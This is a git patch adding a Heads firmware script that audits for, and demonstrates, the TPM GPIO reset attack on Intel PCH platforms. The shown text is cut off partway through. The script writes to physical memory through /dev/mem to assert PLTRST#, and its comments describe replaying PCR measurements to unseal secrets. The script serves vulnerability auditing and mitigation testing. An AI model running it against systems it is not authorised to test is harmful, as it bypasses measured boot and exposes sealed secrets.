From fb7d27231c4b02c06784ada6135bcab33f5968dc Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 22 Jul 2026 20:28:45 -0400 Subject: [PATCH 1/3] initrd/bin/tpm-gpio-reset-demo.sh: GPIO TPM reset assertion PoC with platform audit BusyBox shell script demonstrating TPM GPIO line assertion to trigger PLTRST# on non-PCH/CMP platforms. Tests tpm2 shutdown, GPIO assert via devmem (write bit to DW0), and tpm2 startup with sysfs PCR verification. Platform audit mode detects PCH/SoC type, GPIO DW0 register locking (PADCFGLOCK/PADCFGLOCKTX), chipset locked status, and mode switch attempt (write 0x80000000 to DW0 mode bits [12:10]). Logs all register reads, writes, and lock register dumps for off-platform analysis. Usage: tpm-gpio-reset-demo.sh [--audit | --full] --audit: probe platform, dump GPIO pin states and lock registers --full: run shutdown -> assert -> startup cycle with verification (no flag): interactive menu for all operations Signed-off-by: Thierry Laurion --- initrd/bin/tpm-gpio-reset-demo.sh | 1194 +++++++++++++++++++++++++++++ 1 file changed, 1194 insertions(+) create mode 100755 initrd/bin/tpm-gpio-reset-demo.sh diff --git a/initrd/bin/tpm-gpio-reset-demo.sh b/initrd/bin/tpm-gpio-reset-demo.sh new file mode 100755 index 000000000..23d0e80be --- /dev/null +++ b/initrd/bin/tpm-gpio-reset-demo.sh @@ -0,0 +1,1194 @@ +#!/bin/bash +# SPDX-License-Identifier: GPL-2.0-only +# +# TPM GPIO Reset Attack -- Proof of Concept / Audit Tool +# +# ============================================================================ +# WHAT THIS SCRIPT DEMONSTRATES +# ============================================================================ +# +# The TPM GPIO reset attack exploits a design flaw on certain Intel PCH +# platforms where the PLTRST# (Power Loss Timer Reset) signal to the TPM +# can be asserted from userspace through PCH sideband registers. +# +# Two mechanisms exist, both accessed via PCR (Private Configuration Register) +# MMIO space: +# +# CNP-H (T480s): PLTRST_CPU_B is on a multi-function GPIO pad (pad 256, +# COM3). The pad is reprogrammed from native function to GPIO output mode, +# driven low (assert reset), then the original mode is restored. +# +# SPT/KBP (T480) and ADL/RPL: Write 0x80000000 to the PAD_CFG DW0 register +# at a platform-specific PCR address. This asserts PLTRST# at the PCH level +# without changing the pad's GPIO mode. +# +# By asserting PLTRST#, the attacker can reset the TPM without power cycling +# the platform, clearing all PCRs to their initial (all-zero) state while the +# CPU and memory contents remain intact. +# +# After reset, if the attacker can replay the PCR extend operations from a +# saved measurement log, the TPM will present the expected PCR values and +# unseal the TOTP/HOTP secrets -- effectively bypassing the +# measured boot trust chain. +# +# Attack vector: The measurement logs (cbmem -L, /tmp/measuring_trace.log) +# are accessible from the Heads recovery shell. An unauthenticated recovery +# shell provides all the information needed to replay PCR measurements. +# Configuring GPG authentication for the recovery shell +# (CONFIG_BOOT_RECOVERY_GPG=) prevents this. +# +# ============================================================================ +# AFFECTED PLATFORMS +# ============================================================================ +# +# Three classes of platforms based on PCH generation: +# +# 1. Cannon Point PCH (CNP-H) -- Kaby Lake-R / Whiskey Lake / Comet Lake +# PLTRST_CPU_B is mapped as a GPP pad inside the GPIO community and can +# be toggled directly from userspace. UNTESTED -- no hardware verification. +# +# * ThinkPad T480s, T490, T495, X390, etc. +# * PLTRST_CPU_B = pad 256, GPIO community 3 (PID_GPIOCOM3 = 0x6b) +# * Offset within community: 149 (first pad of comm 3 is HDA_BCLK = 107) +# +# Cannon Lake PCH (CNL) -- 8th gen mobile/desktop +# * PLTRST_CPU_B = pad 275 (in gpio_soc_defs.h layout) +# * Different community mapping (COMM_3 or COMM_4 depending on SKU) +# +# 2. Skylake/Kaby Lake PCH (SPT/KBP) -- 6th/7th gen mobile/desktop +# GPP_B13 drives PLTRST# via GPIO PAD_CFG at PCR port 0xaf, +# COMM_0, local idx 13. PAD_CFG_BASE = 0x400. +# This method IS IMPLEMENTED here. UNTESTED -- no hardware verification. +# +# * ThinkPad T480 (KBL), T470, X270, T460, X260, etc. +# +# 3. Alder Lake / Raptor Lake PCH (ADL/RPL) -- 12th/13th/14th gen +# GPP_B13 drives PLTRST# via GPIO PAD_CFG at PCR port 0x6d +# (ADL-S/RPL-S, COMM_1) or 0x6e (ADL-P mobile, COMM_0). +# All variants use local idx 13 with PAD_CFG_BASE = 0x700. +# This method IS IMPLEMENTED here. TESTED on NV4x ADL-P: write verified, PCRs do not clear -- mechanism NOT confirmed working. +# +# * NovaCustom NV4x ADL, Nitropad NS50, MSI Z790-P DDR5, etc. +# +# 4. Pre-Skylake (Sandy Bridge, Ivy Bridge, Haswell, Broadwell) +# The PLTRST# signal to the TPM is a dedicated pin that cannot be +# reprogrammed to GPIO mode by software. NOT AFFECTED. +# +# 5. Meteor Lake (MTL) +# GPIO lock is functional on these platforms. NOT AFFECTED. +# +# ============================================================================ +# REFERENCES +# ============================================================================ +# +# [1] mkukri.xyz -- "TPM GPIO fail: The Forgotten Bus" +# https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html +# Original discovery and detailed analysis by mkukri. +# +# [2] kukrimate/tpm-gpio-fail (GitHub) -- GPL-2.0 PoC tools +# https://github.com/kukrimate/tpm-gpio-fail +# Contains the original `detect` and `reset` tools this Heads +# PoC script is conceptually based on. The `reset` directory +# provides platform-specific data (PCH device IDs, PCR ports, +# pad offsets, GPIO community definitions in inteltool.h) that +# informed the platform database in this script. +# https://github.com/kukrimate/tpm-gpio-fail/tree/main/reset +# +# [3] coreboot ticket #576 -- "PLTRST_CPU_B pad should be locked +# to prevent userspace TPM GPIO reset" +# https://ticket.coreboot.org/issues/576 +# Tracking the coreboot-side fix: lock the pad config after +# initialization to prevent runtime reprogramming. +# +# [4] linuxboot/heads PR #1568 -- "scripts: add TCPA log replay support" +# https://github.com/linuxboot/heads/pull/1568 +# Added TCPA/TPM event log replay to Heads (later moved to tpmr.sh +# calcfuturepcr). This script delegates measurement replay to the +# same tpmr.sh infrastructure. +# +# ============================================================================ +# DISCLAIMER +# ============================================================================ +# +# This script is provided for AUDITING, EDUCATIONAL, and RESEARCH purposes +# ONLY. It demonstrates a known vulnerability so that: +# - Platform owners can verify whether their hardware is affected +# - Developers can test mitigation patches +# - The community can audit and improve platform security +# +# Misuse of this script to bypass security measures on systems you do not +# own or have explicit authorization to test is illegal and unethical. +# +# ============================================================================ + +# Heads initrd script. Uses bash for /dev/mem access via dd. +# Sources /etc/functions.sh for standard logging functions (INFO, WARN, DIE, +# STATUS, STATUS_OK, DEBUG, NOTE). +# +# NOTE: On ADL-P platforms (NovaCustom NV4x, Nitropad NS50), the P2SB bridge +# is hidden by FSP-S firmware. The GPIO pad config registers at 0xFD000000+ +# are accessible via /dev/mem if CONFIG_STRICT_DEVMEM=n (Heads default), but +# the PADCFGLOCK register may block writes to GPP_B13. If the register value +# after write differs from the expected value, see the PADCFGLOCK and +# PADCFGLOCKTX debug output for lock status. + +set -eo pipefail + +# shellcheck source=/dev/null +. /etc/functions.sh + +# ---- Global variables ------------------------------------------------- + +SCRIPT_NAME="${0##*/}" + +# Platform detection is via PCI device ID of the ISA/LPC bridge (class 0x0601). +# Mechanism-specific parameters (GPIO pad numbers, PCR ports, etc.) are +# hardcoded in the detect_platform() case statement below. + +# ---- Helper functions (thin wrappers around Heads logging) ------------ + +# Print a section header using STATUS +section() { + TRACE_FUNC + STATUS "======================================================================" + STATUS " $*" + STATUS "======================================================================" +} + +# Read a 32-bit value from physical memory via /dev/mem +# Usage: mem_read32 +# Returns: decimal value +mem_read32() { + TRACE_FUNC + _addr="$1" + # BusyBox does not ship od (CONFIG_OD=n). Use xxd which is available. + dd if=/dev/mem bs=4 count=1 skip="$(( _addr / 4 ))" 2>/dev/null | xxd -p +} + +# Write a 32-bit value to physical memory via /dev/mem (32-bit aligned write). +# Usage: mem_write32 +# Verifies write with readback — WARNs on mismatch. +mem_write32() { + TRACE_FUNC + _addr="$1" + _val="$2" + _skip=$(( _addr / 4 )) + DEBUG "mem_write32 addr=0x$(printf '%x' $_addr) val=0x$(printf '%x' $_val)" + # Write 4 bytes in little-endian order via printf '%b' with \xHH escapes. + # Each byte is a separate printf argument to safely pass NUL bytes. + printf '%b' \ + "\\x$(printf '%02x' $(( _val & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 8) & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 16) & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 24) & 0xff )))" | \ + dd of=/dev/mem bs=4 count=1 seek="$_skip" 2>/dev/null + # Verify: read back the 4 bytes — xxd -p outputs bytes in LE memory order + _read=$(dd if=/dev/mem bs=4 count=1 skip="$_skip" 2>/dev/null | xxd -p | tr -d '\n ') + DEBUG " readback: 0x$_read" + # xxd outputs LE bytes (e.g. 0x80000000 -> "00000080"). Rearrange for comparison. + _expected_le=$(printf '%02x' $(( _val & 0xff )))$(printf '%02x' $(( (_val >> 8) & 0xff )))$(printf '%02x' $(( (_val >> 16) & 0xff )))$(printf '%02x' $(( (_val >> 24) & 0xff ))) + if [ "$_read" != "$_expected_le" ]; then + DEBUG " MMIO write mismatch at 0x$(printf '%x' $_addr): wrote 0x$(printf '%08x' $_val), read 0x$_read (likely locked by PADCFGLOCK)" + fi +} + + + +# ---- Attack explanation header ---------------------------------------- + +print_banner() { + TRACE_FUNC + section "TPM GPIO RESET ATTACK -- Proof of Concept / Platform Audit Tool" + INFO " This tool checks whether your platform is affected by the TPM GPIO" + INFO " reset attack (coreboot ticket #576, mkukri.xyz 2024-06-01)." + INFO "" + INFO " --audit, -a Safe audit: detect platform, report vulnerability" + INFO " --execute,--exec,-x Perform GPIO hardware reset and measurement replay" + INFO " --help,-h Show this help" +} + +# ---- Platform detection ----------------------------------------------- +# +# Platform detection uses the PCI device ID of the ISA/LPC bridge (class +# 0x0601, typically device 00:1f.0 on Intel platforms). This is reliable +# across all Linux kernels and does not depend on CONFIG_BOARD or DMI data. + +_resolve_platform() { + TRACE_FUNC + _dev_id="" + _dev_name="" + + # Find ISA/LPC bridge (class 0x0601) via sysfs + for _dev in /sys/bus/pci/devices/*/; do + [ -r "${_dev}class" ] || continue + _class=$(cat "${_dev}class" 2>/dev/null) + if [ "${_class%??}" = "0x0601" ]; then + _dev_id=$(cat "${_dev}device" 2>/dev/null) + _vendor=$(cat "${_dev}vendor" 2>/dev/null) + _dev_name=$(cat "${_dev}device" 2>/dev/null) + DEBUG "Matched ISA bridge: vendor=$_vendor device=$_dev_id class=$_class" + break + fi + done + + if [ -z "$_dev_id" ] || [ "$_vendor" != "0x8086" ]; then + DEBUG "No Intel ISA/LPC bridge found (device='$_dev_id' vendor='$_vendor')" + WARN " No Intel ISA/LPC bridge found (class 0x0601)." + GLOBAL_PCH="UNKNOWN" + return + fi + + INFO " ISA bridge device ID: $_dev_id" + DEBUG " ISA bridge: vendor $_vendor device $_dev_id" + + # Match device ID against known PCH families. + # Device IDs from kukrimate/tpm-gpio-fail reset/inteltool.c and + # coreboot src/soc/intel/ headers. + case "$_dev_id" in + # Sunrise Point (SPT) -- Skylake (6th gen), VULNERABLE + # GPP_B13 is global pad 37 (GPP_A0=0..23, GPP_B0=24, GPP_B13=37) + # port=0xaf PAD_CFG_BASE=0x400 + 0xa143|0xa144|0xa145|0xa146|0xa147|0xa148|0xa149|0xa14a|0xa14d|0xa14e|0xa150|0xa152|0xa153|0xa154) + GLOBAL_PCH="SPT_KBP" + COMMUNITY_PORT=0xaf; PLTRST_PAD=37; FIRST_PAD=0 + PAD_CFG_BASE=0x400; NUM_PAD_CFG_REGS=2 + DEBUG "SPT (Skylake 6th gen) device=$_dev_id pad=37 port=0xaf" ;; + # Kaby Point (KBP) -- Kaby Lake (7th gen), VULNERABLE + # GPP_B13 is global pad 37 port=0xaf PAD_CFG_BASE=0x400 + 0xa2c4|0xa2c5|0xa2c6|0xa2c7|0xa2c8|0xa2c9|0xa2ca|0xa2d2) + GLOBAL_PCH="SPT_KBP" + COMMUNITY_PORT=0xaf; PLTRST_PAD=37; FIRST_PAD=0 + PAD_CFG_BASE=0x400; NUM_PAD_CFG_REGS=2 + DEBUG "KBP (Kaby Lake 7th gen) device=$_dev_id pad=37 port=0xaf" ;; + # Cannon Point (CNP-H) -- Kaby Lake-R / Whiskey Lake / Comet Lake, VULNERABLE + # PLTRST_CPU_B (COM3, pad 256, first=HDA_BCLK=107) port=0x6b PAD_CFG_BASE=0x600 + 0xa304|0xa305|0xa306|0xa307|0xa308|0xa309|0xa30a|0xa30b|0xa30c|0xa30d|0xa30e|0xa30f) + GLOBAL_PCH="CNP_H" + COMMUNITY_PORT=0x6b; PLTRST_PAD=256; FIRST_PAD=107 + PAD_CFG_BASE=0x600; NUM_PAD_CFG_REGS=4 + DEBUG "CNP-H (Cannon Point) device=$_dev_id port=0x6b first_pad=107 offset=$(( 0x600 + (256-107)*16 ))" ;; + # Alder Lake-P / Raptor Lake-P (mobile) -- RPP_P PCH die, VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6e PAD_CFG_BASE=0x700 + 0x5180|0x5181|0x5182|0x5183|0x5184|0x5185|0x5186|0x5187|0x5188|0x5189|0x518a|0x518b|0x518c|0x518d|0x518e|0x518f|\ + 0x5190|0x5191|0x5192|0x5193|0x5194|0x5195|0x5196|0x5197|0x5198|0x5199|0x519a|0x519b|0x519c|0x519d|0x519e|0x519f) + GLOBAL_PCH="ADL_RPL" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "ADL-P (mobile 12th gen) device=$_dev_id port=0x6e offset=0x7D0" ;; + # Alder Lake-S (desktop) -- Alder Point, VULNERABLE + # GPP_B13 (COMM_1, local idx 13) port=0x6d PAD_CFG_BASE=0x700 + 0x7a80|0x7a81|0x7a82|0x7a83|0x7a84|0x7a85|0x7a86|0x7a87|0x7a88|0x7a89|0x7a8a|0x7a8b|0x7a8c) + GLOBAL_PCH="ADL_RPL" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "ADL-S (desktop 12th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + # Raptor Lake-S (desktop) -- Raptor Point, VULNERABLE + # GPP_B13 (COMM_1, local idx 13) port=0x6d PAD_CFG_BASE=0x700 + 0x7a0c|0x7a0d|0x7a0e|0x7a0f|0x7a10|0x7a11|0x7a12|0x7a13|0x7a14|0x7a15|0x7a16|0x7a17) + GLOBAL_PCH="ADL_RPL" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "RPL-S (desktop 13th/14th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + *) + GLOBAL_PCH="UNKNOWN" + DEBUG "Device ID $_dev_id not in known PCH tables" ;; + esac + DEBUG "Device ID $_dev_id resolved to GLOBAL_PCH=$GLOBAL_PCH" + + # If still unknown, try CONFIG_BOARD fallback (MTL, pre-SKL, NIC-based ADL) + if [ "$GLOBAL_PCH" = "UNKNOWN" ] && [ -r /etc/config ]; then + _config_board=$(grep 'CONFIG_BOARD=' /etc/config 2>/dev/null | head -1 | cut -d= -f2-) + DEBUG "Falling back to CONFIG_BOARD=$_config_board" + case "$_config_board" in + *v540tu*|*v560tu*) GLOBAL_PCH="MTL" + DEBUG "CONFIG_BOARD $_config_board -> MTL (not vulnerable)" ;; + *nv4x*|*ns50*) GLOBAL_PCH="ADL_RPL" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "CONFIG_BOARD $_config_board -> ADL-P (fallback, port=0x6e)" ;; + *msi_z790*) GLOBAL_PCH="ADL_RPL" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "CONFIG_BOARD $_config_board -> RPL-S (fallback, port=0x6d)" ;; + *t440p*|*w541*|*x230*|*t430*|*t420*|*x220*|*w530*|*t530*) + GLOBAL_PCH="PRE_SKL" + DEBUG "CONFIG_BOARD $_config_board -> Pre-Skylake (not vulnerable)" ;; + esac + fi + + GLOBAL_DEV_ID="$_dev_id" + DEBUG "Final platform: GLOBAL_PCH=$GLOBAL_PCH COMMUNITY_PORT=$(printf "0x%x" $COMMUNITY_PORT 2>/dev/null)" +} + +detect_platform() { + TRACE_FUNC + section "1. PLATFORM DETECTION" + + _resolve_platform + DEBUG "detect_platform: GLOBAL_PCH=$GLOBAL_PCH NOT_VULNERABLE=$NOT_VULNERABLE" + + case "$GLOBAL_PCH" in + MTL) + STATUS_OK "Detected PCH: Meteor Lake (device $GLOBAL_DEV_ID)" + INFO " Meteor Lake has functional GPIO lock -- NOT VULNERABLE" + INFO " to the TPM GPIO reset attack." + NOT_VULNERABLE="y" + DEBUG "MTL platform: setting NOT_VULNERABLE=y" ;; + PRE_SKL) + STATUS_OK "Detected PCH: Pre-Skylake (device $GLOBAL_DEV_ID)" + INFO " Pre-Skylake platforms have a dedicated PLTRST pin that" + INFO " cannot be reprogrammed via GPIO. NOT VULNERABLE." + NOT_VULNERABLE="y" + DEBUG "PRE_SKL platform: setting NOT_VULNERABLE=y" ;; + CNP_H) + STATUS_OK "Detected PCH: Cannon Point (CNP-H) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (PLTRST_CPU_B pad 256, COMM_3, local idx $((PLTRST_PAD - FIRST_PAD)))" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" ;; + SPT_KBP) + STATUS_OK "Detected PCH: Skylake/Kaby Lake (SPT/KBP) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" ;; + ADL_RPL) + STATUS_OK "Detected PCH: Alder/Raptor Lake (ADL/RPL) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" ;; + UNKNOWN) + DEBUG "Unknown platform GLOBAL_PCH=UNKNOWN, showing help" + DEBUG "" + WARN "Platform not recognized — unknown PCI device $GLOBAL_DEV_ID" + DEBUG "" + INFO " This script detects Intel PCH families by ISA/LPC bridge PCI device ID:" + INFO " - SPT (0xa14*) Skylake: GPP_B13 port=0xaf" + INFO " - KBP (0xa2c*) Kaby Lake: GPP_B13 port=0xaf" + INFO " - CNP-H (0xa30*) Cannon Pt: PLTRST_CPU_B port=0x6b" + INFO " - ADL-P (0x518*) mobile: GPP_B13 port=0x6e" + INFO " - ADL-S (0x7a8*) desktop: GPP_B13 port=0x6d" + INFO " - RPL-S (0x7a0*) desktop: GPP_B13 port=0x6d" + DEBUG "" + INFO " Pre-Skylake platforms are NOT affected (dedicated PLTRST pin)." + INFO " Meteor Lake is NOT affected (functional GPIO lock)." + DEBUG "" + PLATFORM_UNKNOWN="y" + DEBUG "Setting PLATFORM_UNKNOWN=y" ;; + esac + DEBUG "detect_platform: POST case: MECHANISM=$MECHANISM PLATFORM_UNKNOWN=$PLATFORM_UNKNOWN" + + # Bail early for non-vulnerable platforms + if [ "$NOT_VULNERABLE" = "y" ]; then + DEBUG "NOT_VULNERABLE=y: exiting early with status 0" + STATUS " This platform is NOT vulnerable to the TPM GPIO reset attack." + INFO " Exiting." + exit 0 + fi +} + +# ---- Register address calculation ------------------------------------- + +calculate_registers() { + TRACE_FUNC + section "2. REGISTER ADDRESS CALCULATION" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Platform unknown, skipping register calculation" + INFO "Platform unknown; skipping register calculation." + return + fi + + # Hardcoded PCR_BASE per platform (verified from Intel GPIO Best Practices doc + # ID 834810 and coreboot Kconfig). Dynamic SBREG_BAR reading via MMCFG is not + # reliable — P2SB is hidden by FSP-S and MMCFG config space is often inaccessible. + DEBUG "GLOBAL_PCH=$GLOBAL_PCH GLOBAL_DEV_ID=$GLOBAL_DEV_ID" + case "$GLOBAL_PCH" in + ADL_RPL) + if echo "$GLOBAL_DEV_ID" | grep -q "^0x518"; then + PCR_BASE=$(( 0xFD000000 )) # ADL-P/RPL-P mobile + elif echo "$GLOBAL_DEV_ID" | grep -q "^0x7a"; then + PCR_BASE=$(( 0xE0000000 )) # ADL-S desktop + else + PCR_BASE=$(( 0xE0000000 )) # RPL-S desktop (fallback) + fi ;; + SPT_KBP) PCR_BASE=$(( 0xFD000000 )) ;; + CNP_H) PCR_BASE=$(( 0xFD000000 )) ;; + *) PCR_BASE=$(( 0xFD000000 )) + WARN " Unknown PCH, using default PCR_BASE=0xFD000000" ;; + esac + DEBUG "PCR_BASE=0x$(printf '%x' $PCR_BASE) (hardcoded per platform)" + + # All platforms use GPIO PAD_CFG registers via PCR MMIO. + # Pad number within community + PAD_OFFSET=$(( PLTRST_PAD - FIRST_PAD )) + INFO " Pad offset within community: $PLTRST_PAD - $FIRST_PAD = $PAD_OFFSET" + DEBUG "GPIO_PAD_CFG: pad=$PLTRST_PAD first=$FIRST_PAD offset=$PAD_OFFSET" + + # Each pad uses 16 bytes (4 DWORDS) + PAD_REG_SIZE=$(( NUM_PAD_CFG_REGS * 4 )) + INFO " Bytes per pad: $NUM_PAD_CFG_REGS DWORDS x 4 = $PAD_REG_SIZE bytes" + + # Register offset for DW0 of this pad within the community + PAD_DW0_OFFSET=$(( PAD_CFG_BASE + (PAD_OFFSET * PAD_REG_SIZE) )) + PAD_DW0_HEX=$(printf "0x%x" "$PAD_DW0_OFFSET") + INFO " DW0 register offset in community: $(printf "0x%x" $PAD_CFG_BASE) + ($PAD_OFFSET * $PAD_REG_SIZE) = $PAD_DW0_HEX" + + # Full physical address + COMMUNITY_BASE=$(( PCR_BASE + (COMMUNITY_PORT << 16) )) + COMMUNITY_BASE_HEX=$(printf "0x%x" "$COMMUNITY_BASE") + TARGET_ADDR=$(( COMMUNITY_BASE + PAD_DW0_OFFSET )) + TARGET_ADDR_HEX=$(printf "0x%x" "$TARGET_ADDR") + + DEBUG "GPIO PAD_CFG target: community_base=$COMMUNITY_BASE_HEX target_addr=$TARGET_ADDR_HEX" + + DEBUG " Register layout for pad $PLTRST_PAD:" + DEBUG " Community base (port $COMMUNITY_PORT): $COMMUNITY_BASE_HEX" + DEBUG " PAD_CFG_BASE offset within community: $(printf "0x%x" $PAD_CFG_BASE)" + DEBUG " Pad config DW0: $TARGET_ADDR_HEX" + DEBUG " Pad config DW1: $(printf "0x%x" $((TARGET_ADDR + 4)))" + DEBUG " Pad config DW2: $(printf "0x%x" $((TARGET_ADDR + 8)))" + DEBUG " Pad config DW3: $(printf "0x%x" $((TARGET_ADDR + 12)))" + + DEBUG " DW0 bit fields (PAD_CFG0):" + DEBUG " [0] TX state (1=high, 0=low)" + DEBUG " [1] RX state (read-only)" + DEBUG " [8] TX disable" + DEBUG " [9] RX disable" + DEBUG " [10:12] Mode (000=GPIO, 001=NF1, ...)" + DEBUG " [30:31] Reset config (10=PLTRST)" +} + +# ---- Read current register configuration ------------------------------- + +read_pad_config() { + TRACE_FUNC + section "3. CURRENT REGISTER CONFIGURATION" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Platform unknown, skipping configuration read" + INFO "Platform unknown; skipping configuration read." + return + fi + + INFO " Attempting to read registers from physical memory..." + DEBUG "read_pad_config: MECHANISM=$MECHANISM TARGET_ADDR=$TARGET_ADDR_HEX" + DEBUG "" + + # Check that /dev/mem is accessible + if [ ! -r /dev/mem ]; then + DEBUG "/dev/mem not readable (expected on production kernels)" + INFO " /dev/mem is not readable. This is expected on most production" + INFO " kernels without CONFIG_STRICT_DEVMEM disabled." + DEBUG "" + INFO " To test on QEMU or a development kernel, boot with:" + INFO " iomem=relaxed" + INFO " or disable CONFIG_STRICT_DEVMEM." + DEBUG "" + INFO "Cannot read actual config. Showing expected values." + return + fi + + # All platforms use GPIO PAD_CFG registers via PCR MMIO + DEBUG "Reading DW0 at $TARGET_ADDR_HEX" + if ! command -v xxd >/dev/null 2>&1; then + INFO "Missing 'xxd' command. Cannot parse binary data." + return + fi + # Read DW0 + PAD_DW0_VAL=$(dd if=/dev/mem bs=4 count=1 skip="$(( TARGET_ADDR / 4 ))" 2>/dev/null | xxd -p 2>/dev/null || true) + DEBUG "DW0 read returned: $PAD_DW0_VAL" + + if [ -z "$PAD_DW0_VAL" ] || [ "$PAD_DW0_VAL" = "0" ] || [ "$PAD_DW0_VAL" = "00000000" ]; then + DEBUG "DW0 read invalid (blocked or zero), using expected values" + INFO " Read returned: $PAD_DW0_VAL (likely invalid / blocked by kernel)" + INFO "Cannot read actual pad config. Showing expected values." + return + fi + + _orig_dw0=$(( 16#${PAD_DW0_VAL} )) + _orig_mode=$(( (_orig_dw0 >> 10) & 0x7 )) + _orig_txstate=$(( _orig_dw0 & 1 )) + _orig_txdis=$(( (_orig_dw0 >> 8) & 1 )) + _orig_rxdis=$(( (_orig_dw0 >> 9) & 1 )) + _orig_reset=$(( (_orig_dw0 >> 30) & 3 )) + DEBUG "Decoded DW0: mode=$_orig_mode tx=$_orig_txstate txdis=$_orig_txdis rxdis=$_orig_rxdis reset=$_orig_reset" + + _orig_mode_str="" + case $_orig_mode in + 0) _orig_mode_str="GPIO" ;; + 1) _orig_mode_str="NF1 (native function 1)" ;; + 2) _orig_mode_str="NF2" ;; + 3) _orig_mode_str="NF3" ;; + 4) _orig_mode_str="NF4" ;; + 5) _orig_mode_str="NF5" ;; + 6) _orig_mode_str="NF6" ;; + 7) _orig_mode_str="NF7" ;; + esac + + _orig_reset_str="" + case $_orig_reset in + 0) _orig_reset_str="PWROK" ;; + 1) _orig_reset_str="DEEP" ;; + 2) _orig_reset_str="PLTRST" ;; + 3) _orig_reset_str="RSMRST" ;; + esac + + SAVED_DW0=$_orig_dw0 + DEBUG "SAVED_DW0=$(printf "0x%x" $SAVED_DW0) mode_str=$_orig_mode_str reset_str=$_orig_reset_str" + DEBUG " DW0 register: 0x$PAD_DW0_VAL" + DEBUG " Decoded: mode=$_orig_mode ($_orig_mode_str) tx=$_orig_txstate txdis=$_orig_txdis rxdis=$_orig_rxdis reset=$_orig_reset ($_orig_reset_str)" + + if [ "$_orig_mode" = "1" ] && [ $_orig_txdis = 0 ]; then + DEBUG "Pad mode=NF1 txdis=0: correctly configured as native function output" + STATUS_OK "Pad is correctly configured as native function output." + elif [ "$_orig_mode" = "0" ]; then + DEBUG "Pad mode=GPIO: ALREADY in GPIO mode" + DEBUG "Pad is in GPIO mode -- will attempt NF1 force before asserting PLTRST#" + INFO " Pad is in GPIO mode (not native-function PLTRST#). If the" + INFO " GPIO lock is absent, the pad can be reprogrammed to assert" + INFO " PLTRST# from userspace -- platform is VULNERABLE." + fi +} + +# ---- Assert PLTRST# via GPIO pad manipulation ------------------------ + +perform_tpm_reset() { + TRACE_FUNC + section "4. TPM GPIO ASSERTION (assert PLTRST# via PCH pad)" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Platform unknown, cannot assert PLTRST#" + INFO "Platform unknown; cannot assert PLTRST#." + return + fi + + if [ "$EXECUTE_MODE" != "y" ]; then + DEBUG "audit mode: skipping PLTRST# assertion" + return + fi + + if [ ! -w /dev/mem ]; then + DEBUG "/dev/mem not writable" + DIE "/dev/mem is not writable. Cannot assert PLTRST#." + fi + + DEBUG "PLTRST# assertion mechanism: $MECHANISM" + DEBUG "Target address: $TARGET_ADDR_HEX" + + # Check PADCFGLOCK before attempting PLTRST# assertion + # Lock register offset per coreboot gpio_defs.h: + # ADL-P: 0x80, ADL-S/RPL-S: 0x110, SPT/KBP: 0x80, CNP-H: 0x80 + # Lock registers span multiple dwords (32 pads each). The dword for + # local pad N is at offset _lock_base + (N/32)*4, bit N%32. + case "$GLOBAL_PCH" in + ADL_RPL) + if echo "$GLOBAL_DEV_ID" | grep -q "^0x518"; then + _lock_base=0x80 # ADL-P (coreboot gpio_defs.h) + else + _lock_base=0x110 # ADL-S/RPL-S (coreboot gpio_defs_pch_s.h) + fi ;; + *) _lock_base=0x80 ;; + esac + _lock_reg_idx=$(( PAD_OFFSET / 32 )) + _lock_offset=$(( _lock_base + (_lock_reg_idx * 4) )) + _lock_addr=$(( COMMUNITY_BASE + _lock_offset )) + _lock_val=$(mem_read32 "$_lock_addr" 2>/dev/null || true) + if [ -n "$_lock_val" ]; then + _lock_dec=$(( 16#$_lock_val )) + _lock_bit=$(( 1 << (PAD_OFFSET % 32) )) + DEBUG "PADCFGLOCK at 0x$(printf '%x' $_lock_addr): 0x$_lock_val (local pad=$PAD_OFFSET, reg=$_lock_reg_idx, bit=$(( PAD_OFFSET % 32 )))" + if [ $(( _lock_dec & _lock_bit )) -ne 0 ]; then + WARN " PLTRST pad is LOCKED (PADCFGLOCK dword $_lock_reg_idx bit $(( PAD_OFFSET % 32 )) set)" + WARN " Writes to PAD_CFG registers will be silently ignored." + else + DEBUG " PLTRST pad NOT locked — writes should work" + fi + else + DEBUG " Could not read PADCFGLOCK register" + fi + + # Check PADCFGLOCKTX (TX state lock at the same dword offset + 4) + _locktx_offset=$(( _lock_offset + 4 )) + _locktx_addr=$(( COMMUNITY_BASE + _locktx_offset )) + _locktx_val=$(mem_read32 